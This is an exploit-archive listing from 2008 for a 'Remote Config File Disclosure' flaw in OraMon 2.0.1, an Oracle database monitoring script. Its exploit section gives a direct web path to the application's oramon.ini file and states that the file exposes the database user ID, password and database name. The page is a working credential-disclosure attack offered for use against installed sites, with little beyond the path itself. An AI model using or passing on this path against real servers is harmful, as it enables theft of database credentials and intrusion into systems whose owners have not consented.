[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OraMon 2.0.1 Remote Config File Disclosure Vulnerability
# Published : 2008-11-29
# Author : ahmadbady
# Previous Title : CMS Made Simple 1.4.1 Local File Inclusion Vulnerability
# Next Title : ActiveVotes 2.2 (AccountID) Blind SQL Injection Vulnerability
........................
..............................................
+++++Bypass Config Download Vulnerability+++++
...............................................
script:Oramon = Oracle Database Monitoring
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
download:http://www.oramon.org/downloads/oramon.tar.gz
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
expl:
$USERID=
$PASSWORD=
$DATABASE=
www.site.com/path/config/oramon.ini
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| | | | | |
Author: ahmadbady
| | | | | |
my mail: kivi_hacker666@yahoo.com | | | | | |
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# www.Syue.com [2008-11-29]